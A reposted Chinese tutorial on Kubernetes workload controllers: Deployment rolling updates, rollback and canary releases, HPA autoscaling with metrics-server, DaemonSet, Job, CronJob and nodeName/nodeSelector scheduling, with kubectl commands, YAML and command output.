0spc-deployment-675d469f8b-grn8z 0/1 ContainerCreating 0 0spc-deployment-675d469f8b-hbl4v 0/1 ContainerCreating 0 0spc-deployment-675d469f8b-67nz2 0/1 ContainerCreating 0 0spc-deployment-675d469f8b-grn8z 1/1 Running 0 1spc-deployment-675d469f8b-67nz2 1/1 Running 0 1spc-deployment-675d469f8b-hbl4v 1/1 Running 0 2s 滚动更新 编辑pc-deployment.yaml,在spec节点下添加更新策略 spec:strategy: 策略type: RollingUpdate 滚动更新策略rollingUpdate:maxSurge: 25% maxUnavailable: 25% 创建deploy进行验证 变更镜像[root@k8s-master01 ~] kubectl set image deployment pc-deployment nginx=nginx:1.17.3 -n dev deployment.apps/pc-deployment image updated 观察升级过程[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-deployment-c848d767-8rbzt 1/1 Running 0 31mpc-deployment-c848d767-h4p68 1/1 Running 0 31mpc-deployment-c848d767-hlmz4 1/1 Running 0 31mpc-deployment-c848d767-rrqcn 1/1 Running 0 31mpc-deployment-966bf7f44-226rx 0/1 Pending 0 0spc-deployment-966bf7f44-226rx 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-226rx 1/1 Running 0 1spc-deployment-c848d767-h4p68 0/1 Terminating 0 34mpc-deployment-966bf7f44-cnd44 0/1 Pending 0 0spc-deployment-966bf7f44-cnd44 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-cnd44 1/1 Running 0 2spc-deployment-c848d767-hlmz4 0/1 Terminating 0 34mpc-deployment-966bf7f44-px48p 0/1 Pending 0 0spc-deployment-966bf7f44-px48p 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-px48p 1/1 Running 0 0spc-deployment-c848d767-8rbzt 0/1 Terminating 0 34mpc-deployment-966bf7f44-dkmqp 0/1 Pending 0 0spc-deployment-966bf7f44-dkmqp 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-dkmqp 1/1 Running 0 2spc-deployment-c848d767-rrqcn 0/1 Terminating 0 34m 至此,新版本的pod创建完毕,就版本的pod销毁完毕 中间过程是滚动进行的,也就是边销毁边创建 4、版本回退 更新 刚刚在创建时加上了--record=true参数,所以在一旦进行了镜像更新,就会新建出一个pod出来,将老的old-pod上的容器全删除,然后在新的new-pod上在新建对应数量的容器,此时old-pod是不会删除的,因为这个old-pod是要进行回退的; 回退 在回退时会将new-pod上的容器全部删除,在将old-pod上恢复原来的容器; 回退命令 kubectl rollout: 版本升级相关功能,支持下面的选项: status 显示当前升级状态 history 显示 升级历史记录 pause 暂停版本升级过程 resume 继续已经暂停的版本升级过程 restart 重启版本升级过程 undo 回滚到上一级版本(可以使用–to-revision回滚到指定版本) 用法 查看当前升级版本的状态kubectl rollout status deploy pc-deployment -n dev 查看升级历史记录kubectl rollout history deploy pc-deployment -n dev 版本回滚 这里直接使用--to-revision=1回滚到了1版本, 如果省略这个选项,就是回退到上个版本kubectl rollout undo deployment pc-deployment --to-revision=1 -n dev 金丝雀发布 Deployment控制器支持控制更新过程中的控制,如“暂停(pause)”或“继续(resume)”更新操作。 比如有一批新的Pod资源创建完成后立即暂停更新过程,此时,仅存在一部分新版本的应用,主体部分还是旧的版本。然后,再筛选一小部分的用户请求路由到新版本的Pod应用,继续观察能否稳定地按期望的方式运行。确定没问题之后再继续完成余下的Pod资源滚动更新,否则立即回滚更新操作。这就是所谓的金丝雀发布。 金丝雀发布不是自动完成的,需要人为手动去操作,才能达到金丝雀发布的标准; 更新deployment的版本,并配置暂停deploymentkubectl set image deploy pc-deployment nginx=nginx:1.17.4 -n dev && kubectl rollout pause deployment pc-deployment -n dev 观察更新状态kubectl rollout status deploy pc-deployment -n dev 监控更新的过程kubectl get rs -n dev -o wide 确保更新的pod没问题了,继续更新kubectl rollout resume deploy pc-deployment -n dev 如果有问题,就回退到上个版本回退到上个版本kubectl rollout undo deployment pc-deployment -n dev Horizontal Pod Autoscaler 简称HPA,使用deployment可以手动调整pod的数量来实现扩容和缩容;但是这显然不符合k8s的自动化的定位,k8s期望可以通过检测pod的使用情况,实现pod数量自动调整,于是就有了HPA控制器; HPA可以获取每个Pod利用率,然后和HPA中定义的指标进行对比,同时计算出需要伸缩的具体值,最后实现Pod的数量的调整。比如说我指定了一个规则:当我的cpu利用率达到90%或者内存使用率到达80%的时候,就需要进行调整pod的副本数量,每次添加n个pod副本; 其实HPA与之前的Deployment一样,也属于一种Kubernetes资源对象,它通过追踪分析ReplicaSet控制器的所有目标Pod的负载变化情况,来确定是否需要针对性地调整目标Pod的副本数,也就是HPA管理Deployment,Deployment管理ReplicaSet,ReplicaSet管理pod,这是HPA的实现原理。 1、安装metrics-server metrics-server可以用来收集集群中的资源使用情况 安装git[root@k8s-master01 ~] yum install git -y 获取metrics-server, 注意使用的版本[root@k8s-master01 ~] git clone -b v0.3.6 https://github.com/kubernetes-incubator/metrics-server 修改deployment, 注意修改的是镜像和初始化参数[root@k8s-master01 ~] cd /root/metrics-server/deploy/1.8+/[root@k8s-master01 1.8+] vim metrics-server-deployment.yaml按图中添加下面选项hostNetwork: trueimage: registry.cn-hangzhou.aliyuncs.com/google_containers/metrics-server-amd64:v0.3.6args:- --kubelet-insecure-tls- --kubelet-preferred-address-types=InternalIP,Hostname,InternalDNS,ExternalDNS,ExternalIP 2、安装metrics-server [root@k8s-master01 1.8+] kubectl apply -f ./ 3、查看pod运行情况 [root@k8s-master01 1.8+] kubectl get pod -n kube-systemmetrics-server-6b976979db-2xwbj 1/1 Running 0 90s 4、使用kubectl top node 查看资源使用情况 [root@k8s-master01 1.8+] kubectl top nodeNAME CPU(cores) CPU% MEMORY(bytes) MEMORY%k8s-master01 289m 14% 1582Mi 54% k8s-node01 81m 4% 1195Mi 40% k8s-node02 72m 3% 1211Mi 41% [root@k8s-master01 1.8+] kubectl top pod -n kube-systemNAME CPU(cores) MEMORY(bytes)coredns-6955765f44-7ptsb 3m 9Micoredns-6955765f44-vcwr5 3m 8Mietcd-master 14m 145Mi... 至此,metrics-server安装完成 5、 准备deployment和servie 创建pc-hpa-pod.yaml文件,内容如下: apiVersion: apps/v1kind: Deploymentmetadata:name: nginxnamespace: devspec:strategy: 策略type: RollingUpdate 滚动更新策略replicas: 1selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1resources: 资源配额limits: 限制资源(上限)cpu: "1" CPU限制,单位是core数requests: 请求资源(下限)cpu: "100m" CPU限制,单位是core数 创建deployment [root@k8s-master01 1.8+] kubectl run nginx --image=nginx:1.17.1 --requests=cpu=100m -n dev 6、创建service [root@k8s-master01 1.8+] kubectl expose deployment nginx --type=NodePort --port=80 -n dev 7、查看 [root@k8s-master01 1.8+] kubectl get deployment,pod,svc -n devNAME READY UP-TO-DATE AVAILABLE AGEdeployment.apps/nginx 1/1 1 1 47sNAME READY STATUS RESTARTS AGEpod/nginx-7df9756ccc-bh8dr 1/1 Running 0 47sNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEservice/nginx NodePort 10.101.18.29 <none> 80:31830/TCP 35s 8、 部署HPA 创建pc-hpa.yaml文件,内容如下: apiVersion: autoscaling/v1kind: HorizontalPodAutoscalermetadata:name: pc-hpanamespace: devspec:minReplicas: 1 最小pod数量maxReplicas: 10 最大pod数量 ,pod数量会在1~10之间自动伸缩targetCPUUtilizationPercentage: 3 CPU使用率指标,如果cpu使用率达到3%就会进行扩容;为了测试方便,将这个数值调小一些scaleTargetRef: 指定要控制的nginx信息apiVersion: /v1kind: Deploymentname: nginx 创建hpa [root@k8s-master01 1.8+] kubectl create -f pc-hpa.yamlhorizontalpodautoscaler.autoscaling/pc-hpa created 查看hpa [root@k8s-master01 1.8+] kubectl get hpa -n devNAME REFERENCE TARGETS MINPODS MAXPODS REPLICAS AGEpc-hpa Deployment/nginx 0%/3% 1 10 1 62s 9、 测试 使用压测工具对service地址192.168.5.4:31830进行压测,然后通过控制台查看hpa和pod的变化 hpa变化 [root@k8s-master01 ~] kubectl get hpa -n dev -wNAME REFERENCE TARGETS MINPODS MAXPODS REPLICAS AGEpc-hpa Deployment/nginx 0%/3% 1 10 1 4m11spc-hpa Deployment/nginx 0%/3% 1 10 1 5m19spc-hpa Deployment/nginx 22%/3% 1 10 1 6m50spc-hpa Deployment/nginx 22%/3% 1 10 4 7m5spc-hpa Deployment/nginx 22%/3% 1 10 8 7m21spc-hpa Deployment/nginx 6%/3% 1 10 8 7m51spc-hpa Deployment/nginx 0%/3% 1 10 8 9m6spc-hpa Deployment/nginx 0%/3% 1 10 8 13mpc-hpa Deployment/nginx 0%/3% 1 10 1 14m deployment变化 [root@k8s-master01 ~] kubectl get deployment -n dev -wNAME READY UP-TO-DATE AVAILABLE AGEnginx 1/1 1 1 11mnginx 1/4 1 1 13mnginx 1/4 1 1 13mnginx 1/4 1 1 13mnginx 1/4 4 1 13mnginx 1/8 4 1 14mnginx 1/8 4 1 14mnginx 1/8 4 1 14mnginx 1/8 8 1 14mnginx 2/8 8 2 14mnginx 3/8 8 3 14mnginx 4/8 8 4 14mnginx 5/8 8 5 14mnginx 6/8 8 6 14mnginx 7/8 8 7 14mnginx 8/8 8 8 15mnginx 8/1 8 8 20mnginx 8/1 8 8 20mnginx 1/1 1 1 20m pod变化 [root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEnginx-7df9756ccc-bh8dr 1/1 Running 0 11mnginx-7df9756ccc-cpgrv 0/1 Pending 0 0snginx-7df9756ccc-8zhwk 0/1 Pending 0 0snginx-7df9756ccc-rr9bn 0/1 Pending 0 0snginx-7df9756ccc-cpgrv 0/1 ContainerCreating 0 0snginx-7df9756ccc-8zhwk 0/1 ContainerCreating 0 0snginx-7df9756ccc-rr9bn 0/1 ContainerCreating 0 0snginx-7df9756ccc-m9gsj 0/1 Pending 0 0snginx-7df9756ccc-g56qb 0/1 Pending 0 0snginx-7df9756ccc-sl9c6 0/1 Pending 0 0snginx-7df9756ccc-fgst7 0/1 Pending 0 0snginx-7df9756ccc-g56qb 0/1 ContainerCreating 0 0snginx-7df9756ccc-m9gsj 0/1 ContainerCreating 0 0snginx-7df9756ccc-sl9c6 0/1 ContainerCreating 0 0snginx-7df9756ccc-fgst7 0/1 ContainerCreating 0 0snginx-7df9756ccc-8zhwk 1/1 Running 0 19snginx-7df9756ccc-rr9bn 1/1 Running 0 30snginx-7df9756ccc-m9gsj 1/1 Running 0 21snginx-7df9756ccc-cpgrv 1/1 Running 0 47snginx-7df9756ccc-sl9c6 1/1 Running 0 33snginx-7df9756ccc-g56qb 1/1 Running 0 48snginx-7df9756ccc-fgst7 1/1 Running 0 66snginx-7df9756ccc-fgst7 1/1 Terminating 0 6m50snginx-7df9756ccc-8zhwk 1/1 Terminating 0 7m5snginx-7df9756ccc-cpgrv 1/1 Terminating 0 7m5snginx-7df9756ccc-g56qb 1/1 Terminating 0 6m50snginx-7df9756ccc-rr9bn 1/1 Terminating 0 7m5snginx-7df9756ccc-m9gsj 1/1 Terminating 0 6m50snginx-7df9756ccc-sl9c6 1/1 Terminating 0 6m50s DaemonSet 简称DS,ds可以保证在集群中的每一台节点(或指定节点)上都运行一个副本,一般适用于日志收集、节点监控等场景;也就是说,如果一个Pod提供的功能是节点级别的(每个节点都需要且只需要一个),那么这类Pod就适合使用DaemonSet类型的控制器创建。 DaemonSet控制器的特点: 每当向集群中添加一个节点时,指定的 Pod 副本也将添加到该节点上 当节点从集群中移除时,Pod 也就被垃圾回收了 配置模板 apiVersion: apps/v1 版本号kind: DaemonSet 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: daemonsetspec: 详情描述revisionHistoryLimit: 3 保留历史版本updateStrategy: 更新策略type: RollingUpdate 滚动更新策略rollingUpdate: 滚动更新maxUnavailable: 1 最大不可用状态的 Pod 的最大值,可以为百分比,也可以为整数selector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [nginx-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1ports:- containerPort: 80 1、创建ds 创建pc-daemonset.yaml,内容如下: apiVersion: apps/v1kind: DaemonSet metadata:name: pc-daemonsetnamespace: devspec: selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1 运行 创建daemonset[root@k8s-master01 ~] kubectl create -f pc-daemonset.yamldaemonset.apps/pc-daemonset created 查看daemonset[root@k8s-master01 ~] kubectl get ds -n dev -o wideNAME DESIRED CURRENT READY UP-TO-DATE AVAILABLE AGE CONTAINERS IMAGES pc-daemonset 2 2 2 2 2 24s nginx nginx:1.17.1 查看pod,发现在每个Node上都运行一个pod[root@k8s-master01 ~] kubectl get pods -n dev -o wideNAME READY STATUS RESTARTS AGE IP NODE pc-daemonset-9bck8 1/1 Running 0 37s 10.244.1.43 node1 pc-daemonset-k224w 1/1 Running 0 37s 10.244.2.74 node2 2、删除daemonset [root@k8s-master01 ~] kubectl delete -f pc-daemonset.yamldaemonset.apps "pc-daemonset" deleted Job 主要用于负责批量处理一次性(每个任务仅运行一次就结束)任务。当然,你也可以运行多次,配置好即可,Job特点如下: 当Job创建的pod执行成功结束时,Job将记录成功结束的pod数量 当成功结束的pod达到指定的数量时,Job将完成执行 配置模板 apiVersion: batch/v1 版本号kind: Job 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: jobspec: 详情描述completions: 1 指定job需要成功运行Pods的次数。默认值: 1parallelism: 1 指定job在任一时刻应该并发运行Pods的数量。默认值: 1activeDeadlineSeconds: 30 指定job可运行的时间期限,超过时间还未结束,系统将会尝试进行终止。backoffLimit: 6 指定job失败后进行重试的次数。默认是6manualSelector: true 是否可以使用selector选择器选择pod,默认是falseselector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: counter-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [counter-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: counter-podspec:restartPolicy: Never 重启策略只能设置为Never或者OnFailurecontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 2;done"] 关于重启策略设置的说明:(这里只能设置为Never或者OnFailure) 如果指定为OnFailure,则job会在pod出现故障时重启容器,而不是创建pod,failed次数不变 如果指定为Never,则job会在pod出现故障时创建新的pod,并且故障pod不会消失,也不会重启,failed次数加1 如果指定为Always的话,就意味着一直重启,意味着job任务会重复去执行了,当然不对,所以不能设置为Always 1、创建一个job 创建pc-job.yaml,内容如下: apiVersion: batch/v1kind: Job metadata:name: pc-jobnamespace: devspec:manualSelector: trueselector:matchLabels:app: counter-podtemplate:metadata:labels:app: counter-podspec:restartPolicy: Nevercontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 3;done"] 创建 创建job[root@k8s-master01 ~] kubectl create -f pc-job.yamljob.batch/pc-job created 查看job[root@k8s-master01 ~] kubectl get job -n dev -o wide -wNAME COMPLETIONS DURATION AGE CONTAINERS IMAGES SELECTORpc-job 0/1 21s 21s counter busybox:1.30 app=counter-podpc-job 1/1 31s 79s counter busybox:1.30 app=counter-pod 通过观察pod状态可以看到,pod在运行完毕任务后,就会变成Completed状态[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-job-rxg96 1/1 Running 0 29spc-job-rxg96 0/1 Completed 0 33s 接下来,调整下pod运行的总数量和并行数量 即:在spec下设置下面两个选项 completions: 6 指定job需要成功运行Pods的次数为6 parallelism: 3 指定job并发运行Pods的数量为3 然后重新运行job,观察效果,此时会发现,job会每次运行3个pod,总共执行了6个pod[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-job-684ft 1/1 Running 0 5spc-job-jhj49 1/1 Running 0 5spc-job-pfcvh 1/1 Running 0 5spc-job-684ft 0/1 Completed 0 11spc-job-v7rhr 0/1 Pending 0 0spc-job-v7rhr 0/1 Pending 0 0spc-job-v7rhr 0/1 ContainerCreating 0 0spc-job-jhj49 0/1 Completed 0 11spc-job-fhwf7 0/1 Pending 0 0spc-job-fhwf7 0/1 Pending 0 0spc-job-pfcvh 0/1 Completed 0 11spc-job-5vg2j 0/1 Pending 0 0spc-job-fhwf7 0/1 ContainerCreating 0 0spc-job-5vg2j 0/1 Pending 0 0spc-job-5vg2j 0/1 ContainerCreating 0 0spc-job-fhwf7 1/1 Running 0 2spc-job-v7rhr 1/1 Running 0 2spc-job-5vg2j 1/1 Running 0 3spc-job-fhwf7 0/1 Completed 0 12spc-job-v7rhr 0/1 Completed 0 12spc-job-5vg2j 0/1 Completed 0 12s 2、删除 删除jobkubectl delete -f pc-job.yaml CronJob 简称为CJ,CronJob控制器以 Job控制器资源为其管控对象,并借助它管理pod资源对象,Job控制器定义的作业任务在其控制器资源创建之后便会立即执行,但CronJob可以以类似于Linux操作系统的周期性任务作业计划的方式控制其运行时间点及重复运行的方式。也就是说,CronJob可以在特定的时间点(反复的)去运行job任务。可以理解为定时任务 配置模板 apiVersion: batch/v1beta1 版本号kind: CronJob 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: cronjobspec: 详情描述schedule: cron格式的作业调度运行时间点,用于控制任务在什么时间执行concurrencyPolicy: 并发执行策略,用于定义前一次作业运行尚未完成时是否以及如何运行后一次的作业failedJobHistoryLimit: 为失败的任务执行保留的历史记录数,默认为1successfulJobHistoryLimit: 为成功的任务执行保留的历史记录数,默认为3startingDeadlineSeconds: 启动作业错误的超时时长jobTemplate: job控制器模板,用于为cronjob控制器生成job对象;下面其实就是job的定义metadata:spec:completions: 1parallelism: 1activeDeadlineSeconds: 30backoffLimit: 6manualSelector: trueselector:matchLabels:app: counter-podmatchExpressions: 规则- {key: app, operator: In, values: [counter-pod]}template:metadata:labels:app: counter-podspec:restartPolicy: Never containers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 20;done"] cron表达式写法 需要重点解释的几个选项:schedule: cron表达式,用于指定任务的执行时间/1 <分钟> <小时> <日> <月份> <星期>分钟 值从 0 到 59.小时 值从 0 到 23.日 值从 1 到 31.月 值从 1 到 12.星期 值从 0 到 6, 0 代表星期日多个时间可以用逗号隔开; 范围可以用连字符给出;可以作为通配符; /表示每... 例如1 // 每个小时的第一分钟执行/1 // 每分钟都执行concurrencyPolicy:Allow: 允许Jobs并发运行(默认)Forbid: 禁止并发运行,如果上一次运行尚未完成,则跳过下一次运行Replace: 替换,取消当前正在运行的作业并用新作业替换它 1、创建cronJob 创建pc-cronjob.yaml,内容如下: apiVersion: batch/v1beta1kind: CronJobmetadata:name: pc-cronjobnamespace: devlabels:controller: cronjobspec:schedule: "/1 " 每分钟执行一次jobTemplate:metadata:spec:template:spec:restartPolicy: Nevercontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 3;done"] 运行 创建cronjob[root@k8s-master01 ~] kubectl create -f pc-cronjob.yamlcronjob.batch/pc-cronjob created 查看cronjob[root@k8s-master01 ~] kubectl get cronjobs -n devNAME SCHEDULE SUSPEND ACTIVE LAST SCHEDULE AGEpc-cronjob /1 False 0 <none> 6s 查看job[root@k8s-master01 ~] kubectl get jobs -n devNAME COMPLETIONS DURATION AGEpc-cronjob-1592587800 1/1 28s 3m26spc-cronjob-1592587860 1/1 28s 2m26spc-cronjob-1592587920 1/1 28s 86s 查看pod[root@k8s-master01 ~] kubectl get pods -n devpc-cronjob-1592587800-x4tsm 0/1 Completed 0 2m24spc-cronjob-1592587860-r5gv4 0/1 Completed 0 84spc-cronjob-1592587920-9dxxq 1/1 Running 0 24s 2、删除cronjob kubectl delete -f pc-cronjob.yaml pod调度 什么是调度 默认情况下,一个pod在哪个node节点上运行,是通过scheduler组件采用相应的算法计算出来的,这个过程是不受人工控制的; 调度规则 但是在实际使用中,我们想控制某些pod定向到达某个节点上,应该怎么做呢?其实k8s提供了四类调度规则 调度方式 描述 自动调度 通过scheduler组件采用相应的算法计算得出运行在哪个节点上 定向调度 运行到指定的node节点上,通过NodeName、NodeSelector实现 亲和性调度 跟谁关系好就调度到哪个节点上 1、nodeAffinity :节点亲和性,调度到关系好的节点上 2、podAffinity:pod亲和性,调度到关系好的pod所在的节点上 3、PodAntAffinity:pod反清河行,调度到关系差的那个pod所在的节点上 污点(容忍)调度 污点是站在node的角度上的,比如果nodeA有一个污点,大家都别来,此时nodeA会拒绝master调度过来的pod 定向调度 指的是利用在pod上声明nodeName或nodeSelector的方式将pod调度到指定的pod节点上,因为这种定向调度是强制性的,所以如果node节点不存在的话,也会向上面进行调度,只不过pod会运行失败; 1、定向调度-> nodeName nodeName 是将pod强制调度到指定名称的node节点上,这种方式跳过了scheduler的调度逻辑,直接将pod调度到指定名称的节点上,配置文件内容如下 apiVersion: v1 版本号kind: Pod 资源类型metadata: name: pod-namenamespace: devspec: containers: - image: nginx:1.17.1name: nginx-containernodeName: node1 调度到node1节点上 2、定向调度 -> NodeSelector NodeSelector是将pod调度到添加了指定label标签的node节点上,它是通过k8s的label-selector机制实现的,也就是说,在创建pod之前,会由scheduler用matchNodeSelecto调度策略进行label标签的匹配,找出目标node,然后在将pod调度到目标node; 要实验NodeSelector,首先得给node节点加上label标签 kubectl label nodes node1 nodetag=node1 配置文件内容如下 apiVersion: v1 版本号kind: Pod 资源类型metadata: name: pod-namenamespace: devspec: containers: - image: nginx:1.17.1name: nginx-containernodeSelector: nodetag: node1 调度到具有nodetag=node1标签的节点上 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_27184497/article/details/121765387。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 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2023-09-29 09:08:28
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...对内部信息进行采集、处理、存储、传输和应用,实现企业资源优化配置,提升运营效率,增强竞争力的过程。在本文中,企业信息化是软件开发者就业的热门领域之一。 通信领域 , 涉及信息传递与交换技术的行业,包括但不限于电信服务、网络通信、无线通信、数据通信等子领域。在本文背景下,通信领域因门槛高、薪水高等特点吸引了大量软件开发者参与相关技术研发与项目实施,成为开发者主要从业方向之一。 系统集成 , 是指将不同功能、不同品牌或供应商的硬件设备、软件系统以及网络设备等按照一定的架构标准和规范,进行整合、协调和优化,形成一个统一、高效、稳定运行的信息系统解决方案的过程。在本文中,系统集成作为软件开发的重要组成部分,是部分开发者从事的工作内容之一。 高级程序员 , 在软件开发行业中,具备较深厚的专业技能、丰富的项目经验和较高技术水平的编程人员。他们不仅能够独立完成复杂模块的设计与编码工作,还能在项目中起到技术引领与指导作用,对项目的整体质量和进度有直接影响,通常其薪资待遇高于普通程序员。 技术总监(CTO) , Chief Technology Officer 的缩写,是企业中负责技术方向决策、技术团队管理、技术研发规划与实施的关键角色。技术总监需要具有深厚的技术背景、前瞻性的战略眼光以及出色的组织协调能力,确保企业的技术发展方向与业务需求保持一致,并通过技术创新推动企业发展。在本文中,技术总监的角色由于其综合能力和职责要求,在软件行业内占据重要地位,但人数相对较少。
2023-12-24 09:01:26
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...n是指在一次用户会话过程中,服务器为该用户维护的状态信息集合。与cookie不同的是,session数据存储在服务器端,而客户端仅存储一个会话标识符(session ID),通常也以cookie的形式存在。在网络爬虫中使用session对象(如requests库中的requests.session()方法创建的对象),可以帮助爬虫维持与服务器之间的状态信息,实现连续操作间的关联和认证,这对于处理需要保持登录状态或进行多次交互的网页抓取任务尤为关键。
2023-03-01 12:40:55
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curl -I http://example.com
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